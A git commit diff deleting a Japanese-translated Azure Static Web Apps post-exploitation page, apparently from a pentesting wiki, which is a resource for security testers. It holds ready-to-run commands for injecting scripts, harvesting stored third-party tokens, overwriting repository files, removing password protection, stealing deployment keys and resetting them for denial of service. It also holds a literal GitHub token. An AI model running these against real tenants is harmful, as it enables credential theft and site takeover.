Translated ['src/pentesting-cloud/azure-security/az-enumeration-tools.md

This commit is contained in:
Translator
2025-01-09 08:11:38 +00:00
parent 32c5c30cf7
commit dc05dfd19b
373 changed files with 3 additions and 553 deletions

View File

@@ -1,162 +0,0 @@
# Az - Static Web Apps Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Azure Static Web Apps
このサービスに関する詳細情報は、以下を確認してください:
{{#ref}}
../az-services/az-static-web-apps.md
{{#endref}}
### Microsoft.Web/staticSites/snippets/write
静的ウェブページが任意のHTMLコードを読み込むようにスニペットを作成することが可能です。これにより、攻撃者がウェブアプリ内にJSコードを注入し、資格情報やメモリニックキーweb3ウォレット内などの機密情報を盗むことができます。
以下のコマンドは、ウェブアプリによって常に読み込まれるスニペットを作成します::
```bash
az rest \
--method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"name": "supersnippet",
"location": "Body",
"applicableEnvironmentsMode": "AllEnvironments",
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
"environments": [],
"insertBottom": false
}
}'
```
### 設定されたサードパーティの資格情報を読み取る
App Service セクションで説明したように:
{{#ref}}
../az-privilege-escalation/az-app-services-privesc.md
{{#endref}}
次のコマンドを実行することで、現在のアカウントに設定されている**サードパーティの資格情報**を読み取ることができます。たとえば、別のユーザーに設定されているGithubの資格情報がある場合、別のユーザーからトークンにアクセスすることはできません。
```bash
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
```
このコマンドは、Github、Bitbucket、Dropbox、およびOneDriveのトークンを返します。
ここにトークンを確認するためのいくつかのコマンド例があります:
```bash
# GitHub List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos
# Bitbucket List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories
# Dropbox List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'
# OneDrive List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
```
### ファイルの上書き - ルート、HTML、JSの上書き...
Azureを通じてアプリを含むGithubリポジトリ内の**ファイルを上書きすることが可能です**。これは、上書きするファイルのパス、ファイルの内容、コミットメッセージを示すリクエストを送信する**Githubトークン**を使用して行います。
攻撃者はこれを悪用して、基本的に**ウェブアプリの内容を変更**し、悪意のあるコンテンツを提供する(資格情報、ニーモニックキーを盗む...)か、単に**特定のパスを自分のサーバーに再ルーティング**するために`staticwebapp.config.json`ファイルを上書きすることができます。
> [!WARNING]
> 攻撃者が何らかの方法でGithubリポジトリを侵害した場合、彼らはGithubから直接ファイルを上書きすることもできることに注意してください。
```bash
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
-H "Content-Type: application/json" \
-d '{
"commit": {
"message": "Update static web app route configuration",
"branchName": "main",
"committer": {
"name": "Azure App Service",
"email": "donotreply@microsoft.com"
},
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
"filePath": "staticwebapp.config.json",
"message": "Update static web app route configuration",
"repoName": "carlospolop/my-first-static-web-app",
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
},
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
}'
```
### Microsoft.Web/staticSites/config/write
この権限を使用すると、静的ウェブアプリを保護する**パスワードを変更**したり、次のようなリクエストを送信することで、すべての環境の保護を解除することができます:
```bash
# Change password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"password": "SuperPassword123.",
"secretUrl": "",
"applicableEnvironmentsMode": "AllEnvironments"
}
}'
# Remove the need of a password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"secretUrl": "",
"applicableEnvironmentsMode": "SpecifiedEnvironments",
"secretState": "None"
}
}'
```
### Microsoft.Web/staticSites/listSecrets/action
この権限は、静的アプリの**APIキーデプロイメントトークン**を取得することを許可します。
このトークンは、アプリをデプロイすることを可能にします。
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
```
次に、アプリを更新するには、以下のコマンドを実行できます。このコマンドは、**how to Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) works**を確認して抽出されたもので、Azureがデフォルトで使用するものです。したがって、画像やパラメータは将来的に変更される可能性があります。
1. リポジトリをダウンロードします [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic)(またはデプロイしたい他のリポジトリ)し、`cd react-basic`を実行します。
2. デプロイしたいコードを変更します。
3. 次のコマンドを実行してデプロイします(`<api-token>`を変更することを忘れないでください):
```bash
docker run -it --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
```
### Microsoft.Web/staticSites/write
この権限を使用すると、**静的ウェブアプリのソースを別のGithubリポジトリに変更することが可能ですが、これは通常、アクションを認証したトークンを使用してGithub Actionから行う必要があるため、自動的にはプロビジョニングされません。このトークンはリポジトリのGithubシークレット内で自動的に更新されることはなくアプリが作成されるときに自動的に追加されるだけです。**
```bash
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
```
### Microsoft.Web/staticSites/resetapikey/action
この権限を持つことで、**静的ウェブアプリのAPIキーをリセットする**ことが可能になり、アプリを自動的にデプロイするワークフローをDoS攻撃する可能性があります。
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
```
{{#include ../../../banners/hacktricks-training.md}}